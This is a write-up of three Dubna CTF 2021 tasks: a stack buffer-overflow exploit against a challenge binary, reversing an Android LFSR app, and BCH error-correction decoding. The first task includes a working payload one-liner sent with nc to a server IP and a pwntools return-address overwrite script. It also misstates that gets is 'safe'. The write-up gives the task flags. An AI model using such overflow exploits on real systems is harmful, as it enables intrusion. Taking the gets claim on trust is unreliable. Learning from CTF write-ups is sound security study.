Solution here for tasks from Dubna CTF 2021.
Baby Pwn
Attachment: publictask1
if we run the task on a local machine, we will see something like this:
$ ./publictask1
Enter your name
test
Hello test 0x7ffe89151264
look at the decompilation of this binary
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
vulnable();
return 0;
}
int vulnable()
{
char v1[256]; // [rsp+0h] [rbp-100h] BYREF
const void *retaddr; // [rsp+108h] [rbp+8h]
puts("Enter your name");
gets(v1);
return printf("Hello %s %p\n", v1, retaddr);
}
ssize_t nevercall()
{
write(1, "This function never call\n", 0x19uLL);
return write(1, "dubna{**************}\n", 0x16uLL);
}
There is a classic buffer overflow because usage gets is safe. To solve this task we can override ret addr on the server to nevercall function and get flag.
Below is a simple solution. We send to the server pre-generated payload with a structure like this buf | rbp | rip
python3 -c "import sys; sys.stdout.buffer.write(b'A'*256+b'\x00'*8+b'\xc9\x51\x55\x55\x55\x55\n')" | nc 212.47.226.145 13337
Below is exploit with step-by-step generation of payload
from pwn import *
task = ELF('publictask1')
main_func = task.functions['main']
vulnable_func = task.functions['vulnable']
main_disasm = task.disasm(main_func.address, main_func.size)
print("main disasm: ")
print(task.disasm(main_func.address, main_func.size))
print("vulnable disasm: ")
print(task.disasm(vulnable_func.address, vulnable_func.size))
# find vulnable call offset
vulnable_call_offset = 0
for i in main_disasm.split("\n"):
if(i.find(hex(vulnable_func.address))!=-1):
if(i.find("call")==-1):
continue
vulnable_call_offset = int(i.split(":")[0],16)
break
# get remote ret addr
nc = remote("212.47.226.145","13337")
# nc = local("publictask1'")
print(nc.readuntil(b"\n"))
nc.sendline(b"help")
ret_addr = nc.readuntil(b"\n")
ret_addr = int(ret_addr[ret_addr.find(b"help")+4:],16)
print("ret_addr ",hex(ret_addr))
nc.close()
base_addr = ret_addr - vulnable_call_offset - 5 # size of call instruction
print("base_addr ",hex(base_addr))
# payload for overflow buf[256] | rbp | rip
payload = cyclic(256) + p64(0) + p64(base_addr + task.functions['nevercall'].address)
nc = remote("212.47.226.145","13337")
# nc = local("publictask1'")
print(nc.readuntil(b"\n"))
nc.sendline(payload)
nc.interactive()
nc.close()
Little Friend
Attachment: LittleFriend.apk
Here we have an android application. If we run the task, we will see something like this:
Open the application in some Android reverse engineering framwork. I use JEB. After decompilation of MainActivity we will see an LFSR which generates one bit per minute on a timer.
public class MainActivity extends AppCompatActivity {
class UpdateMyTimerTask extends TimerTask {
UpdateMyTimerTask(MainActivity arg1) {
MainActivity.this = arg1;
super();
}
public void run() {
if(MainActivity.this.txtView == null) {
return;
}
if(MainActivity.this.bits_count == 0xA0) {
return;
}
long v3 = 1;
MainActivity.this.bits_count += v3;
TextView v0 = MainActivity.this.txtView;
v0.append("" + (MainActivity.this.regFR & v3));
long v0_1 = ((long)(Long.bitCount(MainActivity.this.regFR & MainActivity.this.regR) + Long.bitCount(MainActivity.this.regFL & MainActivity.this.regL)));
MainActivity.this.regFR >>= 1;
if((MainActivity.this.regFL & v3) == v3) {
MainActivity.this.regFR |= MainActivity.this.setBitR;
}
MainActivity.this.regFL >>= 1;
if((v0_1 & v3) == v3) {
MainActivity.this.regFL |= MainActivity.this.setBitL;
}
}
}
long bits_count;
Timer myTimer;
long regFL;
long regFR;
long regL;
long regR;
long setBitL;
long setBitR;
TextView txtView;
public MainActivity() {
super();
this.regFL = 0xBA30B3B;
this.regFR = 807619044748838L;
this.regL = 0x1FE68F69;
this.regR = 301889084780846L;
this.setBitL = 0x20000000;
this.setBitR = 0x2000000000000L;
this.bits_count = 0;
}
protected void onCreate(Bundle arg8) {
super.onCreate(arg8);
this.setContentView(0x7F0B001C);
this.myTimer = new Timer();
View v8 = this.findViewById(0x7F080005);
this.txtView = ((TextView)v8);
((TextView)v8).setText("Flag :");
this.myTimer.scheduleAtFixedRate(new UpdateMyTimerTask(this), 0, 60000);
}
}
Rewrite the implementation for example in python and get the flag dubna{w41t_f0r3w3r!}
DaemonMath
Attachment: BCH.py BCH.pdf data1.txt data2.txt
In the task, you need to restore the data encoded using the BCH code. The task consists of 2 parts, in the first part you need to implement a decoder, in the second part you need to add an error correction implementation to it. You can read about cyclic error-correcting codes here.
To solve the first part use some implementation, that we have in BCH.py. Here we multiply the encoded symbol by the decoding matrix G_inv, which is equivalent to dividing the encoded character by the generator polynomial.
for i in data1:
print(decode_char([i]@G_inv%2), end="")
dubna{N0v1c3_th3or1st}
In the second part, we need to check the encoded character for errors and correct them. To check errors we multiply the encoded symbol by the error check matrix H. If the resulting vector is non-zero, we can determine which symbol has an error due to the properties of the error check matrix. For this, if the error is a single one, we check the resulting vector row syndrome for equality to the vector column of the error check matrix. If the error is in the first character, the resulting vector syndrome will be equal to the transposed first vector column of the error check matrix. In our case, this is (1,0,0,0,0,0,0,0). If there are two errors, the syndrome vector is equal to the sum of the corresponding column vectors of the error check matrix. For example, with an errors in 1 and 2 characters this is (1,1,0,0,0,0,0,0). Is’s allows you to write the simplest implementation of error correction with checking for all possible errors.
def fix_num(data ,numbers):
tmp = data
for i in numbers:
tmp[i]=1 if tmp[i]==0 else 0
return tmp
for i in data2:
# Подсчет вектора ошибок
E=[i]@H.T%2
# Нет ошибок
if(sum(E)==0):
print(decode_char(([i])@G_inv%2), end="")
continue
for j in range(len(H[0])):
# Проверка одиночных ошибок
if (E == H[:,j]).all():
# print("error in ",j," symbol ", end="")
print(decode_char(np.array([fix_num(i, [j])])%2@G_inv%2), end="")
break;
for j in range(len(H[0])):
# Проверка двойных ошибок
for k in range(j+1, len(H[0])):
if (E == ((H[:,j]+H[:,k])%2)).all():
# print("error in ",j," ",k," symbols ", end="")
print(decode_char(np.array([fix_num(i, [j,k])])%2@G_inv%2), end="")
break;
dubna{4dv4nc_pr4ct1c3}